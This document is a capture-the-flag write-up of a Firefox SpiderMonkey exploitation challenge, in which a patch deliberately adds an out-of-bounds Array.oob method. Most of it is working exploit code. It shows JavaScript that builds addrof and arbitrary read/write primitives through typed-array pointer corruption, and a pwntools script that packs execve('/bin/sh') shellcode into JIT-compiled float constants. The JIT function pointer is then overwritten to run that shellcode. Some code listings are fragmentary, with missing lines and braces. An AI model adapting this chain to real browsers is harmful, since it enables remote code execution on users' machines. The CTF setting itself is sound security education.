Tags: spidermonkey browser pwn firefox 


# Outfoxed
Note: Not all SpiderMonkey fundamentals will be explained, [this](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/) is an excellent article which I used frequently for reference.

A patch to the Firefox JavaScript engine (SpiderMonkey) is provided.

diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp
+++ b/js/src/builtin/Array.cpp
@@ -428,6 +428,29 @@ static inline bool GetArrayElement(JSCon
return GetProperty(cx, obj, obj, id, vp);

+static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
+ uint64_t index, MutableHandleValue vp) {
+ if (obj->is<NativeObject>()) {
+ NativeObject* nobj = &obj->as<NativeObject>();
+ vp.set(nobj->getDenseElement(size_t(index)));
+ if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
+ return true;
+ }
+ if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
+ if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
+ return true;
+ }
+ }
+ }
+ RootedId id(cx);
+ if (!ToId(cx, index, &id)) {
+ return false;
+ }
+ return GetProperty(cx, obj, obj, id, vp);
static inline bool DefineArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, HandleValue value) {
RootedId id(cx);
@@ -2624,6 +2647,7 @@ enum class ArrayAccess { Read, Write };
template <ArrayAccess Access>
static bool CanOptimizeForDenseStorage(HandleObject arr, uint64_t endIndex) {
/* If the desired properties overflow dense storage, we can't optimize. */
if (endIndex > UINT32_MAX) {
return false;
@@ -3342,6 +3366,33 @@ static bool ArraySliceOrdinary(JSContext
return true;

+bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
+ CallArgs args = CallArgsFromVp(argc, vp);
+ RootedObject obj(cx, ToObject(cx, args.thisv()));
+ double index;
+ if (args.length() == 1) {
+ if (!ToInteger(cx, args[0], &index)) {
+ return false;
+ }
+ GetTotallySafeArrayElement(cx, obj, index, args.rval());
+ } else if (args.length() == 2) {
+ if (!ToInteger(cx, args[0], &index)) {
+ return false;
+ }
+ NativeObject* nobj =
+ obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
+ if (nobj) {
+ nobj->setDenseElement(index, args[1]);
+ } else {
+ puts("Not dense");
+ }
+ GetTotallySafeArrayElement(cx, obj, index, args.rval());
+ } else {
+ return false;
+ }
+ return true;
/* ES 2016 draft Mar 25, 2016 */
bool js::array_slice(JSContext* cx, unsigned argc, Value* vp) {
AutoGeckoProfilerEntry pseudoFrame(
@@ -3569,6 +3620,7 @@ static const JSJitInfo array_splice_info

static const JSFunctionSpec array_methods[] = {
+ JS_FN("oob", array_oob, 2, 0),
JS_FN(js_toSource_str, array_toSource, 0, 0),
JS_SELF_HOSTED_FN(js_toString_str, "ArrayToString", 0, 0),
JS_FN(js_toLocaleString_str, array_toLocaleString, 0, 0),
diff --git a/js/src/builtin/Array.h b/js/src/builtin/Array.h
--- a/js/src/builtin/Array.h
+++ b/js/src/builtin/Array.h
@@ -113,6 +113,8 @@ extern bool array_shift(JSContext* cx, u

extern bool array_slice(JSContext* cx, unsigned argc, js::Value* vp);

+extern bool array_oob(JSContext* cx, unsigned argc, Value* vp);
extern JSObject* ArraySliceDense(JSContext* cx, HandleObject obj, int32_t begin,
int32_t end, HandleObject result);

Summary -
- `GetTotallySafeArrayElement`: The regular `GetArrayElement` function but with the length check removed.
- `array_oob`: A new function exported to userspace via `Array.oob(?, ?)`
If a single argument is passed to `array_oob`, it is used as an index to `GetTotallySafeArrayElement`, providing OOB read in the JS array.
If two arguments are passed, the first is used as the index, and the second is written to the given index of the array, and the written element is returned.

We will start with the standard JS exploitation utility functions:

var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);

function itof(val) {
// console.log(val)
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];

function arr2int(a, full) {
let res = BigInt(0);
for (var i = 0; i < a.length; i++) {
res += BigInt(BigInt(a[i]) << BigInt(8*i));
// SpiderMonkey JS values have their top 11 bits as a tag.
// If we want a JSValue we must remove these, else we can read
// the full qword
if (full) return res;
return res & 0xffffffffffffn;

function int2arr(a) {
let res = [];
for (var i = 0; a > 0n; i++) {
res[i] = a & 0xffn;
a = a >> 8n;
return res;


Our exploit will require 3 primitives -
- `addrof` - The ability to retrieve the address of an arbritrary `JSObject`
- `read` - The ability to read a chosen number of bytes from an arbritrary address
- `write` - The ability to write a chosen number of bytes to an arbritrary address

With some experimentation, I found that arrays of the form `[1, 2, 3]` and `[1.1, 2.2, 3.3]` are allocated in a totally different heap region from arrays such as:
- `[{a:1}, {b:2}, {c:3}]`
- `new Uint8Array(100);`
For this reason, I use these 3 arrays

let floatArr = [1.1, 2.2, 3.3, {b:1}]
let objArr = [{a:1}, {a:2}, {b:2}]
let typedArr = new Uint8Array(300);
(Could `floatArr` also be an array of objects? Probably. Do I want to mess with my exploit stability? No.)
The purpose of each array is to overflow into the metadata of the next, because the elements of the array are allocated just after the metadata, making corruption convenient.

I've found that the offsets between objects tend to be fairly constant (even between the JS shell and the browser!), but opted to resolve them dynamically to increase stability.

// Resolve floatArr OOB index
function ResolveFA() {
// Not totally sure what this constant is, but it appears 16 bytes before the first objArr pointer
for (var i = 0; i < 20; i++) {
if (ftoi(floatArr.oob(i)) == 0x300000006n)
return i - 2;
FA = ResolveFA();
// Resolve objArr OOB index
function ResolveOA() {
// Not totally sure what this constant is, but it appears 16 bytes before the typedArr backing pointer
for (var i = 0; i < 20; i++) {
if (ftoi(objArr.oob(i)) == 0x12cn)
return i + 2;

OA = ResolveOA();

Now, `floatArr.oob(FA)` will allow us to access the pointer to the elements of the `objArr` and `objArr.oob(OA)` will allow us to modify the backing pointer of the `typedArray`. The purpose of the first is to allow us to build an `addrof` primitive, and the second is to allow us to use our TypedArray access to write to memory directly, without needing to deal with any strange heap allocations or JSValue encoding.

function read(addr, count) {
let bk = objArr.oob(OA);
objArr.oob(OA, itof(addr));
let ret = typedArr.slice(0, count);
objArr.oob(OA, bk);
return ret;
Our read primitive is simple - modify the backing store pointer of the `typedArr`, so that reading from said array will give us direct read access to the memory. The write primitive is essentially the inverse:
function write(addr, data) {
let bk = objArr.oob(OA);
objArr.oob(OA, itof(addr));
for (var i = 0; i < data.length; i++) {
typedArr[i] = Number(data[i]);
objArr.oob(OA, bk);
We pass an array of bytes and each is written to the array (i.e. the raw memory) sequentially. We also restore the original backing store pointer, in hopes of keeping stability.

function addrof(o) {
objArr[0] = o;
let addr = ftoi(floatArr.oob(FA));
return arr2int(read(addr, 8), false);
Finally, our `addrof` primitive - we place our object into our `objArr`, then read the elements pointer of the `objArr` and read 8 bytes (the object pointer) from the elements array.

In Chromium exploitation, this stage would now be simple. We would create a WASM object, creating an RWX mapping, and modify the backing store of a typed array in order to write our shellcode into it. In Firefox, it is a little more complex - JITted and WASM pages are first mapped RW, while compilation is happening, then re-protected as RX.
Luckily, the doar-e article linked at the start of this writeup details a method to obtain arbritrary shellcode execution, 'Bring-Your-Own-Gadgets'. Essentially, one can create a function of the form
function jitter() {
const A = 0xCCCCCCCCCCCCCCCC; // Must be in float form to get around JSValue encoding
After running this enough times (roughly 5000 in my experimentation), IonMonkey will trigger, creating optimised machine code of the form
[ ... ]
mov [rbp+0x40], r11
We may then slightly modify the function pointer of the JITted `JSFunction`, to jump 'into our constant'. From here, we build up a chain of instructions, connected by a relative jump into the *next* constant. As the jump instruction is 2 bytes, we must restrict our instructions to a maximum of 6 bytes. For this, I wrote a small algorithm using Python to generate a function to be pasted into our JS exploit.

from pwn import *
import struct
context.arch = "amd64"

instructions = [
"mov ebx, 0x0068732f",
"shl rbx, 32",
"mov edx, 0x6e69622f",
"add rbx, rdx",
"push rbx",
"xor eax, eax",
"mov al, 0x3b",
"mov rdi, rsp",
"xor edx, edx",

# Marker constant
buf = [p64(0xdeadbeefbaadc0de), b""]
bytecode = [asm(i) for i in instructions]
jmp = asm("jmp $+8")
for i in bytecode:
if len(buf[-1] + i) > 6:
buf[-1] = buf[-1].ljust(6, b"\x90") + jmp
buf[-1] += i
buf[-1] = buf[-1].ljust(8, b"\x90")

for i,v in zip(instructions, bytecode):
print(i, v)

for i, n in enumerate(buf):
if len(n) > 8:
print(f"ERROR: CHUNK {i} TOO LONG")
f = struct.unpack("d", n)[0]
print(f"let {chr(i+65)} = {f};")

Now we are able to 'heat up' our function and get it JITted:
`for (var i = 0; i < 20000; i++) jitter();`
I found this offset by returning `inIon()` from the function - this will return `true` when the function has been optimized by IonMonkey. I then added a few thousand to the loop counter for safety, and removed the `inIon` call.

Now, we need to track down the address of the actual JITted code. I found that `addrof(jitter) + 40n` contains a pointer to the `JITInfo` class, which itself contains a pointer to the actual JIT code.
f_addr = addrof(jitter);
jitinfo = f_addr + 40n;
f_ptr = arr2int(read(jitinfo, 8), true);
jitcode = arr2int(read(f_ptr, 8), true);
// jitcode is the address of our actual jit code
console.log("JIT Code located at " + jitcode.toString(16));
(The variable names are relics and not entirely accurate.)
Originally, I searched through the JIT code page for `0xdeadbeefbaadc0de` in order to dynamically resolve the offset to the constants:
var off = 0n;
var found = false;

for (off = 0n; off < 0x1000n; off++ ) {
let val = arr2int(read(jitcode + off, 8), true);
if (val == 0xdeadbeefbaadc0den) {
found = true;
However, when testing the exploit in the browser, I discovered that after a certain number of `read()`s, my primitives appeared to stop working (likely due to a busier heap causing my arrays to reallocated.) I also noticed that the offset to the constants was constant (even between shell and browser), so opted to hardcode the offset.
NOTE: When dynamically resolving offsets, I discovered that if the function is large enough (in my case, containing more than 7 constants), the constants appeared at a *lower* address than the JIT pointer (probably jumped back to at some point.) For this reason, you may want to use the range `-0x500 -> 0x500` while searching. Finally, we can rewrite the JIT pointer and execute our payload:

found = true;

if (found) {
write(f_ptr, int2arr(jitcode + off + 14n));
console.log((jitcode + off + 14n).toString(16));
} else {
console.log("Marker not found");

`MOZ_DISABLE_CONTENT_SANDBOX=1 ./obj/release/dist/bin/firefox ./sploit.html`
A shell will open on the command line once the script loads and runs.

Original writeup (http://cor.team/).